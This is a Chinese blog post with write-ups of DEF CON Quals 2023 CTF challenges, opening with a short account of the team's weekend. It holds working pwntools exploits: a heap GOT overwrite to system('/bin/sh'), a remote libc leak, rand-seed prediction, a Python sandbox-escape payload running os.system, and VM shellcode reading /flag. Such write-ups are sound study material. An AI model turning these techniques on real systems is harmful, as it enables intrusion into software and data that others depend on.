Loading... # 前言 这次线下跟大师傅们一起做题太开心啦,认识了好多大佬。 比赛刚开始拿到一个开门红哈哈哈,抢了一个intro。 ![Snipaste_2023-05-27_19-08-38.png](http://81.68.153.233/usr/uploads/2023/05/4019231005.png) ![Snipaste_2023-05-30_15-30-39.png](http://81.68.153.233/usr/uploads/2023/05/3339833670.png) 大家一起吃披萨 ![mmexport1685201086613.jpg](http://81.68.153.233/usr/uploads/2023/05/4018156479.jpg) 最后一晚和师傅们打 `Blackbox` 后面到了六七点坚持不住睡觉去了,(当时都掉出11名了,但实在坚持不住 ![54aedd73bbe147f8a68d5f2c6eb0c51.jpg](http://81.68.153.233/usr/uploads/2023/05/2180128125.jpg) 最终排名 ![image.png](http://81.68.153.233/usr/uploads/2023/05/2709088466.png) `xman` 佬最后拍的照片,一片狼藉。(当时太激动那么多大佬,都怎么忘记拍照片了 ![94d703756c33ef741a7c0058af3065b.jpg](http://81.68.153.233/usr/uploads/2023/05/1766234849.jpg) 后面慢慢把当时一起做过的题从新复现一下,留个坑。。。 # intro - [10: Welcome to Quals](https://quals.2023.nautilus.institute/challenges/27.html) `nc`连上先随便发点东西。 发现有个 `shell`,并且传入的东西被编码了。 于是传进去 `flag` 看看是什么,回显有 `synt` ,一眼 `rot13` 这里用空白爷后面写上去的 `exp`了(当时是直接工具转的 `rot13`,才知道有这种脚本 ```python from pwn import * import codecs #context.log_level = 'debug' io = remote("welcome-to-quals-vfnva65rlchqk.shellweplayaga.me",10001) io.recvuntil(b'Ticket please:') io.sendline(b'ticket{LoftBroker938n23:UwulEbFkcGk2pIZfqmLHKs7151S3CkuqOzE87GaQwv9e_ULj}') #payload = 'ls /' #payload = codecs.encode(payload, 'rot_13') #io.sendline(payload) payload = 'cat /welcome_flag.txt' payload = codecs.encode(payload, 'rot_13') io.sendline(payload) io.interactive() ``` # PWN - [64: Open House](https://quals.2023.nautilus.institute/challenges/23.html) `create` 功能创建一个 `0x200` 大小的 `chunk`,每个 `chunk`最后会有两个指针 且 `heapbase+0x3a4` 的地方可以泄露 `elfbase` 起始有10个 `chunk` ![image.png](http://81.68.153.233/usr/uploads/2023/06/1017241030.png) 通过 `edit` 修改这两个指针 ```python from pwn import * io = process('./open-house') libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6') context.log_level = 'debug' sla = lambda a,b : io.sendlineafter(a, b) def menu(idx): sla("> ",idx) def create(data): menu('c') sla("Absolutely, we'd love to have your review!\n",data) def edit(idx,data): menu('m') sla("Which of these reviews should we replace?\n",str(idx)) sla("What do you think we should we replace it with?\n",data) def delete(idx): menu('d') sla("Which of these reviews should we delete?\n",str(idx)) def show(): menu('v') create(b'A'*0x200) create(b'B'*0x200) show() io.recvuntil(b'A'*0x200) heapbase = u32(io.recv(4)) - 0x002860 edit(3,b'A'*0x1ff+b'\x00'+p32(heapbase+0x3a4)+p32(heapbase+0x1430)) show() io.recvuntil('A'*0x1ff) io.recv(8) elfbase = u32(io.recv(4)) - 0x003164 start_main_got = elfbase + 0x0003120 free_got = elfbase + 0x00003124 fgets = elfbase + edit(3,b'A'*0x1ff+b'\x00'+p32(start_main_got)+p32(heapbase+0x1430)) show() io.recvuntil(b'A'*0x1ff) io.recv(8) libcbase = u32(io.recv(4)) - libc.symbols['__libc_start_main'] # - 0x50a70 system = libcbase + libc.symbols['system'] fgets = libcbase + libc.symbols['fgets'] #fgets = u32(io.recv(4)) #system = libcbase + 0x49780 edit(3,b'A'*0x1ff+b'\x00'+p32(free_got)+p32(heapbase+0x1430)) edit(4,p32(system)+p32(fgets)) edit(3,b'/bin/sh\x00') delete(3) #gdb.attach(io) io.interactive() ``` 这里远程版本需要 `leak`,直接贴 `lrh`佬的脚本了 ```python ''' GCC: (Ubuntu 12.3.0-1ubuntu1) 12.3.0 libc:2.35 ''' #!/usr/bin/env python3 from pwn import * context.log_level = "debug" p = remote("open-house-6dvpeatmylgze.shellweplayaga.me",10001) p.sendline(b"ticket{StreetDeed544n23:gaVixliBvaQ2kmfgEJGTGexWuFwQx4S2R3stRpvhf9WN-T5d}") # 11-th p.recvuntil("c|v|q> ") p.sendline(b"c") p.sendline(b"a" * 512) # 12-th p.recvuntil("c|v|m|d|q> ") p.sendline(b"c") p.sendline(b"b" * 512) p.recvuntil("c|v|m|d|q> ") p.sendline(b"v") p.recvuntil(b"a" * 512) nxt = u32(p.recv(4)) pre = u32(p.recv(4)) print('next -> ', hex(nxt)) print('prev -> ', hex(pre)) # 13-th p.recvuntil("c|v|m|d|q> ") p.sendline(b"c") p.sendline(b"d" * 512) def reads(addr): p.sendline(b"m") p.sendline(b"12") p.sendline(b"c" * 512 + p32(addr)) p.recvuntil("c|v|m|d|q> ") p.sendline(b"v") for _ in range(12): p.recvuntil("**** - ") p.recvuntil("**** - ") data = p.recvuntil("c|v|m|d|q> ") idx = data.find(b'\nc|v|m|d|q> ') assert idx >= 0 if idx == 0: return b'\x00' else: return data[0:idx] def readl(addr): result = b'' while len(result) < 4: data = reads(addr) addr += len(data) result += data return u32(result[0:4]) notes = [0] * 10 # 10-th notes[9] = pre for i in reversed(range(9)): # notes[i + 1]->prev == notes[i] notes[i] = readl(notes[i + 1] + 512 + 4) print(i, hex(notes[i])) base = readl(notes[0] + 512 + 4) print('base', hex(base)) target = base - 0x565df164 + 0x565df144 print('taget', hex(target)) fprintf = readl(target) print('fprintf', hex(fprintf)) page = fprintf & ~0xfff while True: page -= 0x1000 if readl(page) == u32(b'\x7FELF'): break print('found', hex(page)) # gdb.attach(p) elf = DynELF(lambda a: p32(readl(a)), page) print('system', hex(elf.lookup('system'))) """ libc = open('libc.so', 'wb') addr = page while True: if addr & 0xFF == 0x0A or addr & 0xFF00 == 0x0A00: libc.write(b'\x00') addr += 1 continue data = reads(addr) addr += len(data) libc.write(data) libc.close() """ p.interactive() ``` # LiveCTF - [1: What a maze meant](https://quals.2023.nautilus.institute/challenges/28.html) 一道迷宫题,程序开始用 `time()` 作为种子,随机生成迷宫。 ![image.png](http://81.68.153.233/usr/uploads/2023/05/4257236425.png) 通过死循环读入操作,每次一次循环都会执行一次 `randomDescription` 函数打印一些信息并执行一次 `rand` 并且会给出 `rand` 生成的随机数 ![image.png](http://81.68.153.233/usr/uploads/2023/05/4034622541.png) 在通过输入 `e n s w` 来控制方向,输入 `q` 退出,输入 `a`打印地图,输入其他的也不会退出 ![image.png](http://81.68.153.233/usr/uploads/2023/05/1349732494.png) 在走出地图的时候会判断 `rand() % 1213 == 1212` ,过了判断会给一个 `shell` ![image.png](http://81.68.153.233/usr/uploads/2023/05/2666222037.png) 这里可以先输入 `a` 读出迷宫地图,然后判断出路径,走到出口最后一步,并记录我们当前的步数 在最后一步的时候我们可以读取当前生成的随机数,并预测接下来的随机数 然后通过输入其他来不断执行 `rand` ,使其下一次 `rand` 生成我们想要的随机数从而通过 `check` ```python from pwn import * import subprocess import time from ctypes import * io = process('./challenge') t0 = int(time.time()) cdll = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6') cdll.srand(t0) io.sendline(b'a') io.recvuntil(b'maze.\n') maze = [] for i in range(29): maze.append(io.recvline().decode().strip()) import queue q = queue.Queue() sy,sx = [(i,j) for i in range(29) for j in range(29) if maze[i][j] == '@'][0] ey,ex = [(i,j) for i in range(29) for j in range(29) if maze[i][j] == '*'][0] q.put((sx,sy)) path = dict() path[sx,sy] = '' while q.qsize(): x,y = q.get_nowait() for dx,dy,c in [[1,0,'e'],[-1,0,'w'],[0,1,'s'],[0,-1,'n']]: nx,ny = x+dx,y+dy if nx < 0 or nx >= len(maze[0]) or ny < 0 or ny >= len(maze): continue if maze[ny][nx] == '#': continue npath = path[x,y] + c if (nx,ny) not in path: path[nx,ny] = npath q.put((nx,ny)) io.recv() for c in path[ex,ey][:-1]: io.sendline(c) io.recvuntil(b'and through a window you stop to count ') s = io.recvuntil(b' s')[:-2].decode() sr0 = 0 for _ in range(99999): if s == str(sr0): for i in range(9999): a = int(cdll.rand()) if a % 1213 == 1212: io.sendline(path[ex,ey][-1]) break else: io.sendline('x') break else: sr = int(cdll.rand()) sr0 = sr >> 14 continue io.interactive() ``` # Misc - [81: Three Guard](https://quals.2023.nautilus.institute/challenges/19.html) ```python #main.py #!/usr/bin/env python import sys import time import socket import select ADDR = "localhost" class Guard: def __init__(self, name: str, port: int): self.name = name self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((ADDR, port)) def talk(self): data = self.sock.recv(1024) if len(data) == 0: talkers.remove(self) socket.close(self.fileno()) return print(f"{self.name}: {data.decode('utf-8').strip()}") def fileno(self): return self.sock.fileno() def recv(self, num): return self.sock.recv(num) def speakTo(self, words): self.sock.send(words) def name(self): return self.name class Speaker: def fileno(self): return sys.stdin.fileno() def talk(self): foo = sys.stdin.readline() (requestedName,_,what) = foo.partition(":") try: who = [guard for guard in talkers if guard.name == requestedName] who[0].speakTo(bytes(what, 'utf-8')) except IndexError: print("Nobody here by that name...") def name(self): return "Yourself" talkers = [] def main(): speaker = Speaker() talkers.append(Guard("Bob", 6900)) talkers.append(Guard("Charles", 6901)) talkers.append(Guard("Sam", 6902)) talkers.append(speaker) while(True): (got, want, _) = select.select( talkers, [], []) for guard in got: guard.talk() if __name__ == "__main__": main() # guard2.py #!/usr/bin/env python import random import socketserver import pyseccomp as seccomp # Command handlers def handle_deal(arg): return 'I can open files, but I can\'t read them!\n' def handle_exec(arg, loc={}): exec(arg, {}, loc) return "Sure thing, boss" COMMANDS = { 'What is your deal?': handle_deal, 'exec' : handle_exec, } def banter(): return random.choice([ "I don't know, I wasn't really paying attention.", "I was just taking a quick nap, no big deal.", "Sorry, I was on my phone and didn't see anything.", "Well, it wasn't my break time yet, so I didn't bother.", "Who cares if I let them in? They looked fine to me.", "Honestly, I don't remember if I locked the gate or not.", "I forgot to check their ID, but they seemed trustworthy.", "I didn't report it because it seemed like too much paperwork.", "Why bother with the security cameras? They never show anything interesting.", "I can't be expected to keep an eye on everything all the time.", "I don't get paid enough to deal with this.", "Yeah, I saw them, but it wasn't my problem.", "I gave my buddy the security code, he just wanted to see the place.", "I don't see the point of these constant patrols.", "I just let anyone in who says they work here.", "Sure, I leave the keys lying around, but who would steal them?", "Checking bags is a waste of time, nobody ever has anything.", "I don't see why I need to be sober to do this job.", "They didn't look suspicious to me, so I let them go.", "I haven't really read the security protocols, they're boring." ]) class TCPHandler(socketserver.BaseRequestHandler): def handle(self): # Receive the data while True: data = self.request.recv(1024) if not data: break command = data.decode().strip() (command,_, arg) = command.partition(":") if command in COMMANDS: response = COMMANDS[command](arg) self.request.sendall(response.encode()) else: msg = 'Invalid command. Valid commands are: ' + ', '.join(COMMANDS.keys()) + '\n' msg = banter() self.request.sendall(msg.encode()) def drop_perms(): # create a new seccomp filter filter = seccomp.SyscallFilter(seccomp.KILL) #skip these, even if they're in the top 75 avoid = [0, 17, 19, 40, 56, 59] # allow only the first 50 syscalls for i in range(0, 70): if i in avoid: continue filter.add_rule(seccomp.ALLOW, i) filter.add_rule(seccomp.ALLOW, 285) filter.add_rule(seccomp.ALLOW, 286) filter.add_rule(seccomp.ALLOW, 287) filter.add_rule(seccomp.ALLOW, 288) filter.add_rule(seccomp.ALLOW, 289) filter.add_rule(seccomp.ALLOW, 290) # load the filter into the current process filter.load() def start_server(host = 'localhost', port = 6901): server_address = (host, port) server = socketserver.TCPServer(server_address, TCPHandler) # Start the server server.serve_forever() if __name__ == "__main__": start_server() ``` 给了三个沙箱 ```python guard1 ban: open, sendfile, clone, execve guard2 ban: read, pread64, readv, sendfile, clone, execve guard3 ban: read, open, pread64, readv, sendfile, clone, execve ``` 但是这里 `guard2.py` 并没有调用 `drop_perms()`去设置沙箱,可能有非预期? `Charles:exec:[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("cat /opt/flag.txt")` # PWN - [165: Blackbox](https://quals.2023.nautilus.institute/challenges/5.html) 盲打 `VMPWN` ,`fuzz` 出来的操作数和调用号。 ![image.png](http://81.68.153.233/usr/uploads/2023/06/2475499626.png) ![image.png](http://81.68.153.233/usr/uploads/2023/06/951845966.png) 这里需要在 `/flag` 后面截断 ```python from pwn import * context.log_level='debug' p = remote("blackbox-bamkcvy55ihl4.shellweplayaga.me",33773) p.sendlineafter("Ticket please: ","ticket{LoanAddress3653n23:Nr6qKBtWWYtDg43QduZcA75FQcSIm3xUENVNOrktipFG__78}") def pack(c): return p16(len(c)//2)+c def one(c,cc=0): p.send(pack(c)) if cc==0: p.sendlineafter(")\n","y") def XxX(filename): res=b'' targets = [ord(x) for x in filename] cur = 0 for target in targets: res+=p16(0x0080+target)+p16(0xd000)+p16(0x1080+target) return res+p16(0xd000) ''' PUSH flag\0r\0AAAAA ADD RCX,2 ADD RDX,2 ADD RAX,4 SYSCALL ADD RAX,1 ADD RCX,0 ADD RDX,0x7f SYSCALL SUB RAX,1 SUB RBX,111 SYSCALL ''' one(XxX("flag\0r\0AAAAAA")+p16(0x0280+2)+p16(0x0380+2)+p16(0x0080+4)+p16(0xf000)+p16(0x0081)+p16(0x0280+0)+p16(0x0380+0x7f)+p16(0xf000)+p16(0x1080+1)+p16(0x1180+111)+p16(0xf000)) p.interactive() ``` 最后修改:2023 年 08 月 14 日 © 允许规范转载 打赏 赞赏作者 赞 2 如果觉得我的文章对你有用,请随意赞赏